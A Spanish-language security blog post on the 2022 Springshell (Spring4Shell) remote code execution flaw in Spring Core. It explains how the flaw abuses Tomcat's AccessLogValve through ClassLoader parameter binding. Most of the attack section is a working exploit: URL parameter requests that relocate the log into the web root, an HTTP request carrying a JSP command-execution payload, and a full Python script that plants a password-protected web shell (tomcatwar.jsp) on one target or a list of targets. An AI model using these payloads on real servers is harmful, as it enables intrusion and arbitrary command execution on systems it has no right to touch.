#Springshell: un nuevo 0-day que golpea el core de Spring

Recientemente, un miembro del grupo KnownSec con nick p1n93r publicó un pantallazo en su cuenta de Twitter que mostraba un RCE explotado trivialmente contra el core de Spring (no confundir con otra en Spring Cloud - CVE-2022-22963), ya sabéis, uno de los frameworks en Java más populares en Internet.

La vulnerabilidad (sin CVE a fecha de este post) afecta a versiones JDK 9 y posteriores. Poco después el tweet y hasta la cuenta del investigador chino fueron eliminadas, comenzaba la cuenta atrás...

Y no se hizo esperar... ya se sabe... una vez que se sube algo a Internet existe para siempre y por ejemplo podemos encontrar el breve pero revelador paper en la web de nuestros amigos de vx-underground: https://share.vx-underground.org/SpringCore0day.7z


La vulnerabilidad realmente es un bypass de CVE-2010-1622 y es que el código no debería permitir bindear parámetros a ninguna propiedad de Classloader, sin importar si se definen listas permitidas/bloqueadas. 

Y al igual que ya se hizo hace unos años con Struts la PoC publicada se basa en abusar del ClassLoader que usa Tomcat. El exploit funciona modificando los ajustes de configuración de Tomcat (a través de AccessLogValve); más específicamente, cambia el esquema de nombres de los archivos de log y la ubicación donde se almacenan los mismos para llevarlos al document root.

http://127.0.0.1:8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7b%66%75%69
http://127.0.0.1:8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp
http://127.0.0.1:8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.directory=%48%3a%5c%6d%79%4a%61%76%61%43%6f%64%65%5c%73%74%75%70%69%64%52%7
http://127.0.0.1:8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.prefix=fuckJsp
http://127.0.0.1:8080/stupidRumor_war_exploded/index?class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat=

A partir de esas peticiones, cuando el atacante envíe una solicitud que contenga un script malicioso, normalmente código JSP, se registrará en el archivo de log, que ahora puede tener el nombre y la extensión que elija el atacante (en el ejemplo, fuckJsp.jsp). 

GET /poc/index HTTP/1.1
Host: 127.0.0.1:8080
User-Agent: Chrome/99.0.7113.93 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
randompattern: <%Runtime.getRuntime().exec(request.getParameter("cmd"))%>
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1

Dado que este archivo de log ahora está en WEBROOT o en algún lugar desde el cual el servidor web sirve páginas que contienen código JSP, el atacante puede enviar una solicitud GET para fuckjsp.jsp. Cuando el servidor web procesa este archivo, ejecutará el código malicioso y el atacante obtiene la ejecución remota del código en el servidor web. 

Vemos el script completo para la PoC con una única petición POST:

#coding:utf-8

import requests
import argparse
from urllib.parse import urljoin

def Exploit(url):
headers = {"suffix":"%>//",
"c1":"Runtime",
"c2":"<%",
"DNT":"1",
"Content-Type":"application/x-www-form-urlencoded"

}
data = "class.module.classLoader.resources.context.parent.pipeline.first.pattern=%25%7Bc2%7Di%20if(%22j%22.equals(request.getParameter(%22pwd%22)))%7B%20java.io.InputStream%20in%20%3D%20%25%7Bc1%7Di.getRuntime().exec(request.getParameter(%22cmd%22)).getInputStream()%3B%20int%20a%20%3D%20-1%3B%20byte%5B%5D%20b%20%3D%20new%20byte%5B2048%5D%3B%20while((a%3Din.read(b))!%3D-1)%7B%20out.println(new%20String(b))%3B%20%7D%20%7D%20%25%7Bsuffix%7Di&class.module.classLoader.resources.context.parent.pipeline.first.suffix=.jsp&class.module.classLoader.resources.context.parent.pipeline.first.directory=webapps/ROOT&class.module.classLoader.resources.context.parent.pipeline.first.prefix=tomcatwar&class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat="
try:

go = requests.post(url,headers=headers,data=data,timeout=15,allow_redirects=False, verify=False)
shellurl = urljoin(url, 'tomcatwar.jsp')
shellgo = requests.get(shellurl,timeout=15,allow_redirects=False, verify=False)
if shellgo.status_code == 200:
print(f"漏洞存在,shell地址为:{shellurl}?pwd=j&cmd=whoami")
except Exception as e:
print(e)
pass




def main():
parser = argparse.ArgumentParser(description='Srping-Core Rce.')
parser.add_argument('--file',help='url file',required=False)
parser.add_argument('--url',help='target url',required=False)
args = parser.parse_args()
if args.url:
Exploit(args.url)
if args.file:
with open (args.file) as f:
for i in f.readlines():
i = i.strip()
Exploit(i)

if __name__ == '__main__':
main()

Y la "magia" ejecutándose:




Como veis los malos augurios parece que se confirman y tendremos unos días "divertidos" por delante...


YARA rules

https://github.com/Neo23x0/signature-base/blob/master/yara/expl_spring4shell.yar


Referencias

https://www.cyberkendra.com/2022/03/springshell-rce-0-day-vulnerability.html
https://bugalert.org/content/notices/2022-03-29-spring.html
https://websecured.io/blog/624411cf775ad17d72274d16/spring4shell-poc
https://www.springcloud.io/post/2022-03/spring-0day-vulnerability
https://securityintelligence.com/struts-vulnerabilities-analysis-parameters-cookie-interceptors-impact-exploitation/
https://www.praetorian.com/blog/spring-core-jdk9-rce/

 



 

Comentarios